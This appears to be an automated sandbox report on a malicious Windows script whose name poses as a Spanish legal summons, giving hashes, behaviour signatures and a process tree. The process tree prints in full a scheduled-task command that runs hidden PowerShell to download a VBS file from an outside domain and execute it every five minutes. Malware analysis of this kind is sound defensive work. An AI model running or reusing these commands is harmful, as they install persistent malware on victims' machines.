Analysis

  • max time kernel
    343s
  • max time network
    346s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    27/09/2022, 06:42

General

  • Target

    Denuncia en su contra y detalles de la citacion.wsf

  • Size

    171KB

  • MD5

    abba9bfa9425c66df09fe00a63876ece

  • SHA1

    3c2e055f21cdb118619497f70e4a6882265c7ef8

  • SHA256

    c738d9ae6eec6bb34b54cf66de709a61c6c7d22d98d8762fdf6b5b5b9c48021b

  • SHA512

    31bfa060814416d73b0fd5de00c09491b4386bea8a036c248b27de04f96f17de2068538d627dca756bad52f6347d1ce4b5106a01d7e1cdbff3569d3e4f63ce3f

  • SSDEEP

    48:oyRZ4meLOL8GELn2HH+ukgSHoUFIgEciIZJ9GFnFqFTF8RZFnFDwF4FuFMFZF/yu:oi4meawMkg0LFIguSJERt+UZ6K8y

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Denuncia en su contra y detalles de la citacion.wsf"
    1⤵
      PID:1944
    • C:\Windows\system32\schtasks.exe
      schtasks /create /sc MINUTE /mo 5 /tn "OneDrive Reporting Tas" /tr "\"%windir%\system32\WindowsPowershell\v1.0\powershell.exe\" -Windowstyle Hidden $a = wget 'https://notificacionesdelafiscalia.com/t52ph4t' -o C:\Windows\Temp\t.vbs;start-sleep 5;start-Process C:\Windows\Temp\t.vbs" /F
      1⤵
      • Process spawned unexpected child process
      • Creates scheduled task(s)
      PID:1148
    • C:\Windows\system32\mmc.exe
      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s
      1⤵
      • Drops file in System32 directory
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1064
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {7F8BACB4-89A1-4004-B080-CED057815914} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1548
      • C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe -Windowstyle Hidden $a = wget "https://notificacionesdelafiscalia.com/t52ph4t" -o C:\Windows\Temp\t.vbs;start-sleep 5;start-Process C:\Windows\Temp\t.vbs
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1500

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/1064-54-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

            Filesize

            8KB

          • memory/1064-55-0x000007FEF3A50000-0x000007FEF4473000-memory.dmp

            Filesize

            10.1MB

          • memory/1064-56-0x000007FEEE300000-0x000007FEEF396000-memory.dmp

            Filesize

            16.6MB

          • memory/1064-57-0x000000001D900000-0x000000001D919000-memory.dmp

            Filesize

            100KB

          • memory/1064-58-0x0000000003FE8000-0x0000000004007000-memory.dmp

            Filesize

            124KB

          • memory/1064-59-0x0000000003FE8000-0x0000000004007000-memory.dmp

            Filesize

            124KB

          • memory/1064-60-0x0000000003FE8000-0x0000000004007000-memory.dmp

            Filesize

            124KB

          • memory/1500-63-0x000007FEF4160000-0x000007FEF4B83000-memory.dmp

            Filesize

            10.1MB

          • memory/1500-64-0x000007FEF3540000-0x000007FEF409D000-memory.dmp

            Filesize

            11.4MB

          • memory/1500-65-0x00000000025A4000-0x00000000025A7000-memory.dmp

            Filesize

            12KB

          • memory/1500-66-0x000000001B740000-0x000000001BA3F000-memory.dmp

            Filesize

            3.0MB

          • memory/1500-67-0x00000000025AB000-0x00000000025CA000-memory.dmp

            Filesize

            124KB

          • memory/1500-68-0x00000000025A4000-0x00000000025A7000-memory.dmp

            Filesize

            12KB

          • memory/1500-69-0x00000000025AB000-0x00000000025CA000-memory.dmp

            Filesize

            124KB